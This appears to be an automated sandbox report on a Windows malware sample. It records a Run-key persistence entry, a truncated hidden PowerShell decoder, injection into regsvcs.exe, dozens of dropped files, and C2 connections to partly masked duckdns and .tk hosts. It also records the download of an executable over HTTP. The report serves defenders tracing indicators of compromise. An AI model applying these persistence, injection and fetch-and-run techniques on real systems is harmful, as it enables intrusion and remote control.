Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'desktop' = '%TEMP%\16289796\ABOEQO~1.PIF %TEMP%\16289796\conlfqv.jap'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function f5ba7a2 {param($x6d5573)$db19f='f7d89';$q2d3ff='';for ($i=0; $i -lt $x6d5573.length;$i+=2){$t7e563=[convert]::ToByte($x6d5573.Substring($i,2),16);$q2d3ff+=[char](...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\regsvcs.exe
Modifies file system
Creates the following files
- %TEMP%\ssb9tqni.0.cs
- %TEMP%\16289796\hxoaes.log
- %TEMP%\16289796\txisdmcmqn.bin
- %TEMP%\16289796\kefk.msc
- %TEMP%\16289796\cteodec.dll
- %TEMP%\16289796\oukn.ppt
- %TEMP%\16289796\lenfidrxrk.msc
- %TEMP%\16289796\xaqaf.ico
- %TEMP%\16289796\nhqirwf.log
- %TEMP%\16289796\kjtvv.ppt
- %TEMP%\16289796\cesst.bin
- %TEMP%\16289796\qjvghfwtqq.pdf
- %TEMP%\16289796\btdwejxh.log
- %TEMP%\16289796\hvqifo.ppt
- %TEMP%\16289796\mvwiogvtm.dat
- %TEMP%\16289796\cqflan.dat
- %TEMP%\16289796\djchffa.dll
- %TEMP%\16289796\snlsngvn.docx
- %TEMP%\16289796\mnxguxvu.msc
- %TEMP%\16289796\qrxdhmgw.pdf
- %TEMP%\16289796\vhndf.icm
- %TEMP%\16289796\chvcisse.xl
- %TEMP%\16289796\rggpevfc.msc
- %TEMP%\16289796\odktxb.msc
- %TEMP%\16289796\fsbt.dat
- %TEMP%\16289796\vbfp.bin
- %TEMP%\16289796\dtwxerrkmc.ppt
- %TEMP%\16289796\pgfhmsoq.msc
- %TEMP%\16289796\dcmippc.dat
- %TEMP%\16289796\ifwpcq.xl
- %TEMP%\16289796\metqdmj.xml
- %TEMP%\16289796\cjmlmbcffi.xml
- %TEMP%\16289796\hnfuabdi.pdf
- %TEMP%\16289796\lvqolmlnka.exe
- %TEMP%\16289796\kbvhqfhgr.xml
- %TEMP%\16289796\dnakkegbtx.pdf
- %TEMP%\16289796\xlwt.dat
- %TEMP%\16289796\shonunbnb.xl
- %TEMP%\16289796\eqimtokudv.ini
- %TEMP%\16289796\etvub.ppt
- %TEMP%\16289796\qibeqw.dat
- %TEMP%\16289796\sxnemlakb.msc
- %TEMP%\16289796\humn.ico
- %TEMP%\16289796\mtrtpbwlti.ini
- %TEMP%\16289796\aboeqoqrt.pif
- %TEMP%\16289796\conlfqv.jap
- %TEMP%\16289796\cckkmiipbr.xml
- %APPDATA%\oee678.exe
- %TEMP%\ssb9tqni.dll
- %TEMP%\res5894.tmp
- %TEMP%\csc5883.tmp
- %TEMP%\ssb9tqni.out
- %TEMP%\ssb9tqni.cmdline
- %TEMP%\16289796\huqiutfm.dat
- %TEMP%\16289796\lecds.dll
- %TEMP%\16289796\xlqhqcgja.bin
- %TEMP%\16289796\ehvjlwuh.bin
- %TEMP%\16289796\axuxxxn.icm
- %TEMP%\16289796\ggivrdqwh.mp3
- %TEMP%\16289796\xpthvhssg.exe
- %TEMP%\16289796\vtbx.mp3
- %TEMP%\16289796\sujluv.ico
- %TEMP%\16289796\pisug.jpg
- %TEMP%\16289796\gmljogdgtp.exe
- %TEMP%\16289796\gvaiadoaq.xml
- %TEMP%\16289796\hbdoptj.mp3
- %HOMEPATH%\temp\cckkmiipbr.xml
- %TEMP%\16289796\telnuuxjbj.ini
- %TEMP%\16289796\bdjkup.xml
- %TEMP%\16289796\bqrwsrr.icm
- %TEMP%\16289796\xdequbhlaj.xls
- %TEMP%\16289796\wdxklh.txt
- %TEMP%\16289796\oqasoslt.jpg
- %TEMP%\16289796\vvrvdw.bmp
- %TEMP%\16289796\wpxc.dll
- %APPDATA%\36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee\run.dat
Sets the 'hidden' attribute to the following files
- %TEMP%\16289796\aboeqoqrt.pif
Deletes the following files
- %TEMP%\res5894.tmp
- %TEMP%\csc5883.tmp
- %TEMP%\ssb9tqni.0.cs
- %TEMP%\ssb9tqni.pdb
- %TEMP%\ssb9tqni.dll
- %TEMP%\ssb9tqni.out
- %TEMP%\ssb9tqni.cmdline
Network activity
Connects to
- 'su#####y.duckdns.org':3999
- 'pa####raeurope.tk':3999
TCP
HTTP GET requests
- http://ci##co.com/IMG_2019_87897.exe
UDP
- DNS ASK ci##co.com
- DNS ASK su#####y.duckdns.org
- DNS ASK pa####raeurope.tk
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '%APPDATA%\oee678.exe'
- '%TEMP%\16289796\aboeqoqrt.pif' conlfqv.jap
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ssb9tqni.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5894.tmp" "%TEMP%\CSC5883.tmp"' (with hidden window)
Executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ssb9tqni.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5894.tmp" "%TEMP%\CSC5883.tmp"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regsvcs.exe'
